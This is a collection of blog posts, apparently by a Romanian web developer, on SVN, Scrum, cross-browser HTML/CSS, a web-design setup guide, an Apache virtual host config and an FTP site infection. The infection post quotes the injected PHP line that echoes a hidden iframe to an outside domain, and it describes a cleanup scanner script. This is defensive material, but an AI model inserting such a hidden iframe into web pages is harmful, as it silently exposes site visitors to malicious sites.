muzică, mașini, tehnologie și divertisment
Web development, Drupal, PHP, MySQL, HTML5, CSS3, jQuery
Zilele trecute s-a lansat versiunea 1.7 de la SVN. Un update important pentru SVN care se luptă să țină pasul cu Git. Dintre noutăți:
Restul le găsiți aici.
Wikipedia zice:
Scrum is an iterative, incremental methodology for project management often seen in agile software development, a type of software engineering.
Although Scrum was intended for management of software development projects, it can be used to run software maintenance teams, or as a general project/program management approach
Iar pentru cei interesaţi, am dat şi de un video explicativ pe DZone:
Un lucru des neglijat de webmasteri este clientul de FTP folosit la transferul de fisiere. Un client de ftp bun te poate scuti de neplăcerile cauzate de anumiţi viruşi pe când un client prost te transformă în victimă sigură.
Recomandările mele în această privinţă ar fi:
Din fericire majoritatea nu au întâmpinat până acum probleme de securitate din cauza asta. Eu, şi alte cunoştinţe, am fost victima unui astfel de atac, care se manifesta prin modificare tutor fişierelor php de pe server care conţineau în nume main sau index şi adăugarea de cod aiurea (iframe-uri ascunse care încărcau site-uri virusate).
Lucrurile se petreceau în felul următor. Eu mă conectam la la ftp folosind Total Commander, cineva din reţea avea un virus care monitoriza traficul şi fura conturile de ftp. După ce fura datele de autentificare pe ftp, se conecta la server şi începea să caute fişierele php în care introducea codul maliţios.
De atunci eu nu mai folosesc Total Commander pentru ftp şi îmi schimb parola de ftp periodic.
Probabil vă întrebaţi de ce dau vina pe TotalCommander, ei bine, pentru că virusul de manifesta numai după ce mă conectam cu TotalCommander (da, am fost virusat de mai multe ori la rând până să îmi dau seama cum pot să ma protejez).
Dacă aţi fost cumva victima unui astfel de atac, am postat mai de mult un script care poate căuta fişierele infectate pe ftp.
Ştim cu toţi avantajele de a avea o pagină web compatibilă cu toate browserele. Cu toate acestea, puţin web-designeri reuşesc să facă site-uri compatibile cu majoritatea browserelor populare.
Cauzele pentru lipse de compatibilităţi sunt multe:
Daca punctul 1 nu ţine de programator, şi nu se poate face mare lucru, restul cauzelor pot fi uşor înlăturare. De aceea, am să descriu paşi pe care eu îi urmez pe parcusul creării unui design html compatibil cu toate browserele.
Toţi cei care lucrează ca designeri web au pretenţia ca browserele să le citească gândurile şi să afişeza paginile create aşa cum vor ei, toate aste fără ca ei să ţină cont de regulile limbajului. Atunci când tu nu îţi validezi pagina, de ce ai pretenţia ca browserul să se comporte exemplar?
Din punctul meu de vedere, nu poţi da vina pe browser cât timp pagina ta nu e validă. Chiar dacă erorile nu ţin neapărat de eroarile tale. E o chestie de bun simţ şi după ce o să începi să o aplici o să conştientizezi multe din greşelile pe care le faceai fără să-ţi dai seama. Un motiv în plus, e faptul că e foarte uşor să crezi o pagină cu cod valid dacă eşti foarte puţin atent pe parcusul dezvoltării.
Mulţi preferă să îţi valideze paginile după ce au terminat de creat. Lucru pe care nu-l recomand nimănui, mai ales celor care sunt la început cu studiul standardelor. E foarte greu să validezi un cod gata creat, modificările pe care trebuie să le faci s-ar putea să necesită multă muncă. Aşa că cel mai simplu e să-ţi validezi codul pas cu pas pe parcusul scrieri codului. Lucru deloc complicat, dacă ai instalat Html Validator. O să ai în permanenţă o iconiţă în bara de status a browserului care te avertizează când scrii prostii. Plus că îţi oferă nişte features extra în fereastră de vizualizare a codului sursă (înclusiv lista cu erorile descoperite şi explicaţi / sfaturi cu privire la fiecare eroare). So… creare de cod valid e joacă de copil cu extensia asta instalată.
Dilema asta are legătură punctul anterior, dar o consider destul de importantă aşa că merită să fie evidenţiată.
Momentan, în webdesing există trendul XHTML. Toată lumea e super mega încântată de acest standard dar uită nişte detalii. Nu are rost să dezbat problema care a fost dezbătută acum mult timp de către alţii. Detalii găsiţi aici. Ideea de bază e că de multe ori XHTML vine la pachet cu câteva issues pe care mulţi nu le ştiu, şi în practică nu ai nevoie de XHTML, putând folosi la fel de bine limbajul HTML corect formatat.
Personal recomand folosirea standardului HTML 4.01 Transitional:
<!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd”>
Sintaxa este la fel ca cea de la XHTML, exceptând faptul că în secţiunea head nu se mai închi tag-urile gen link. Adică în loc de <link … /> o să folosiţi doar <link …>.
Regulile CSS sunt aplicate cu aceiaşi stricteţe ca şi la doctype-ul xhtml, asta ca să nu las loc de întrebare pentru cei care folosesc doctype-ul de xhtml din cauza asta.
Toţi ştim că valorile default la atributele CSS diferă de la browser la browser. Aşa ca un CSS Reset te ajută să le aduci la un numitor comun. În plus de asta, te obligă uneori să defineşti unele atribute în mod express. De exemplu atributul margin la paragrafe este 0, şi dacă vrei ca textul tău să arate frumos, o să trebuiască să-l defineşti tu. În caz că nu foloseai CSS Reset, erai tentat să laşi valoare default, care diferă foarte mult de la browser la browser.
De asemenea te scuteşte de multe probleme de design apărute din cauza valorilor default a unor browsere. Exemplu: cine se gândea că tag-ul <form> are margin în IE? Adică un element invizibil care îţi strică designul şi pierzi o grămadă de timp să vezi care e buba.
Până acum am folosit numai CSS Reset-ul oferit aici. Se găsesc pe net mai multe variante, dar majoritatea au la bază acest css reset.
Din toată familia de browsere Internet Explorer, cea mai veche versiune demnă de luat în calcul e Internet Explorer 6. Versiunile mai vechi chiar nu cred că mai sunt folosite, din moment ce Internet Explorer 6 vine gata instalat pe Windowx XP, deducem că ar trebui să ai Windows ’98 sau Millenium care vin cu versiuni mai vechi de Internet Explorer, ceea ce e foarte puţin probabil. Utilizatorii de Internet Explorer pe Mac nu cunosc, au deja Safari, nu văd de ce ar mai folosi Internet Explorer.
Dintre toate versiuniele 6, 7 şi 8, versiune 6 e cea mai problematică pentru designeri. Nu cunoaşte multe reguli de CSS, si cel mai grav nu afişează PNG-urile corect. Probleme însă sunt destul de vechi, şi între timp s-au descoperit rezolvări la majoritatea din ele, de exemplu:
Dacă o să-mi mai amintesc, o să mai notez aici şi alte soluţii găsite pentru problemele Internet Explorer 6.
Şi ca să nu termin în ton pesimist acest capitol, menţionez că sunt mulţumit de felul cum Internet Explorerul se descurcă cu poziţionările absolute şi relative. Nu ştiu de ce, dar aveam o impresie foarte proastă despre el la capitolul ăsta. Se pare că nu e chiar aşa.
Un lucru foarte important şi des neglijat sau făcut în grabă este testarea. Este foarte important să verifici designul în toate browserele cât mai des. După fiecare bucată de cod scrisă trebuie să testezi. Ştiu că pare un proces mâncător de timp, dar te scuteşte de timp pierdut cu debugging-ul atunci când apar probleme. De ce zic asta? Pentru că atunci când apare o eroare, eşti sigur că este în bucata de cod scrisă de la ultima testare. Cu cât testezi mai des cu atât bucata aia de cod va fi mai mică, deci econimiseşti timp cu căutatul erorii.
Ordine de testare, adoptată de mine este următoarea:
Lucruri pe care nu ar trebui să le faci, atunci când dezvolţi o pagină compatibilă cu toate browserele este să scrii cod separat pentru fiecare browser în parte. Cei care fac acest lucru abuzează de conditional comments recunoscute de Internet Explorer pentru a rescrie aproape tot CSS-ul. Cea mai urâtă versiune de don’t design întâlnită folosea php ca să genereze cod html diferit pentru browserele cu probleme.
De asemenea, trebuie evitate dirty trick-urile. Încercaţi să scrieţi numai cod valid. Evitaţi probleme folosind tehnici elegante, cum este cea prezentată mai sus cu min-height. Nu folosiţi w_idth ştiind ca IE îl recunoaşte pentru a da dimensiuni diferite pentru IE.
De când am început să folosesc CSS Reset nu am mai folosit conditional elements şi nici un alt trick pentru a trata diferit browserele. Singura utilitate a conditional comments e folosirea PNG FIX-ului în Internet Explorer 6.
Pentru toţi cei care vor să se apuce serios de webdesign sau pentru cei care au început deja şi au nevoie de ajutor, am pregătit un mic ghid pentru configurarea calculatorului pentru webdesign.
Înainte de toate se presupune că sistemul de operare e deja instalat, şi că face parte din familia Micro$oft. Pentru Linux o să scriu pe viitor.
Acum, să începem lista cu programe necesare:
Sunt de nelipsit din viaţa unui webdesigner. Îţi trebuie instalate toate, chiar dacă tu foloseşti mai mult Firefox-ul. Şi pe lângă asta, o să mai ai nevoie şi de multe plugin-uri care o să-ţi facă viaţa mai uşoară în lupta cu bug-urile.
Lista de browsere trebuie să conţină neapărat:
Nu am menţionat pe listă Multiple IE, care face acelaşi lucru pe care îl face şi IETester, pentru că e mai greu de folosit (fiecare browser are fereastra proprie şi se încarcă destul de greu), nu poţi avea IE7 si IE8 simultan decât dacă te complici, etc.
Aici lucrurile sunt discutabile. Fiecare are un editor preferat. Eu personal folosesc Programmers Notepad 2. E simplu şi ştie cam tot ce am eu nevoie. Recomand de asemenea Komodo Edit, care e ceva mai avansat decat Programmers Notepad, dar care porneşte ceva mai greu (doar e bazat pe core-ul de la Firefox).
Mai puteţi încerca Notepad++, Dreamweaver, PSPad şi multe altele. Cu excepţia Dreamweaverului toate editoarele menţionate sunt free.
De bază la acest capitol ar fi Photoshop-ul, însă având în vedere că nu e free, ne orientăm atenţia către alternative free:
Programe indispensabile atunci când vrei să uploadezi site-ul pe server. Aici alegerea e mai simplă. Avem Filezilla Client care este cel mai popular, şi cred că cel mai bun client ftp free (concurează cu cele mai bune aplicaţii plătite din punctul meu de vedere). Apoi, pentru cei mai puţin pretenţioşi, Total Commanderul are un client ftp integrat.
Necesar doar în cazul în care aveţi de gând să lucraţi cu limbaje de programare gen PHP, PERL, etc. Pentru a creea pagini simple HTML nu aveţi nevoie de aşa ceva.
Variante disponibile:
Dacă lucrezi în echipă folosirea SVN-ului sau a orcărui revision control system e obligatorie. Eu folosesc şi la proiectele personale din mai multe motive:
Pentru platforma Windows nu cred că există alternativă mai bună la Tortoise SVN, de aceea e singurul care îl recomand. Dacă aveţi nevoie de apelarea svn din linie de comandă puteţi folosi SlikSVN (eu îl folosesc pentru a face update-uri automate din linia de comandă folosind scripturi PHP).
Pentru hosting gratuit de SVN puteţi încerca Assembla. Este gratuit, cu ceva limitări care nu deranjează. Oferă pe lângă SVN şi Trac hosting gratuit. Testat personal şi recomand cu încredere.
Pentru sugestii / completări / întrebări puteţi lăsa un comentariu.
Post scris pentru concursul organizat de www.cipy.ro.
La începuturile “carieri” mele ca webdeveloper îmi făceam veacul pe phorum.ro. Acolo am auzit prima oara de usability şi de seo. Între timp m-am documentat mai intens cu tot felul de articole ce veneau ca recomandări din partea Google-ului când îl întrebam despre aşa ceva.
Ce am înţeles eu în legătură cu usability în anii care au trecut de atunci, şi în care am lucrat ca webdesigner:
Şi cred că să ma opresc din plictisit lumea aici. Aş mai putea găsi încă pe atâtea lucruri de care m-am lovit lucrând ca webdesigner, dar o să continui cu altă ocazie.
The infection
Recently, my site was infected with some kind of a php virus. My ftp account was broken (brute-force I suppose) so every php file that contains “index” and “main” in filename was modified, and the following line of code was added:
echo “<iframe src=\”http://some-stupid-domain.com/?some-parameter=xx1B10xx\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;
So, the effects of this are:
The solution
I needed a script to find what file contains malicious code, so I made a php script, that connect through ftp, search and every file and every directory for php files (I’ve tried to find a software for this, but with no results). When a php file is found on ftp, it downloads it, and search if malicious code is found.
Also, when a file is detected as “infected”, the script makes a copy of that file in backup folder, so webmaster can manually check and delete unwanted code. I prefer manually disinfection, because various versions of code was found (a was having links to different domains).
Features:
I know that ftp connection is not something that you can rely on, and the connection will broke after some time. So, the scripts should make some loops to retry every failed command few times before exits. This solution requires more lines of code and the complexity of the algorithm will increase.
To fix this issue, I added a list with already parse files and directories (parsed.txt). When the script find a directory or a file that’s on that list, it ignores it (since is already parsed). This way, you can forcelly stop the script whenever you want and resume it anytime.
Also, a list with infected files will be created (if any infected file is found).
Configuration
Before you can run the script you need to be sure that you modify the ftp server info (server adress, login username and password).
To do this, you need to open find_in_files_on_ftp.php with your favorite code editor (avoid Notepad, please). The lines you need to edit are shown below:
// Configuration
$ftp_server = ‘your_ftp_server’;
$ftp_user = ‘your_ftp_username’;
$ftp_pass = base64_decode(‘password encoded as base64’);
$virus_string = ‘echo “<iframe’; // string to found
I hope that is very clear what every variable means, so I will not discus about them excepting the password. I chose base64 encode for my password, so if someone see it, he can’t remeber it even if it’s common word.
Also, if you want to change the connecting port (default it’s 21), you can manually edit line 19, and replace 21 with you desired port.
Running the script
The script was made and tested on Windows XP, but it should work on every OS that supports PHP. I will test it on linux when I will have some free time.
To run the script on windows you should have php instaled and follow one of the following procedures:
Download
Click on the link bellow to download ( ~2.47kbytes):
Situation:
WAMP installation on Windows XP SP 3 on C:\wamp\
Dynamic DNS account at www.dyndns.com ( I will use domain.dyndns.org ).
Solution:
1. Open c:\wamp\bin\apache\apache2.2.8\conf\httpd.conf
2. Find line: ServerName localhost
3. Replace with line: ServerName domain.dyndns.org (Or you can comment it, it will work, but you will get a warning in apache log)
3. Scroll down to the end of the file and add:
NameVirtualHost *:80
#default root
<VirtualHost *:80>
DocumentRoot “C:/wamp/www”
ServerName *.domain.dyndns.org
ServerAlias localhost
</VirtualHost>
#subdomain
<VirtualHost *:80>
DocumentRoot “C:/wamp/www/subdomain”
ServerName todo.domain.dyndns.org
ServerName todo.myweb
</VirtualHost>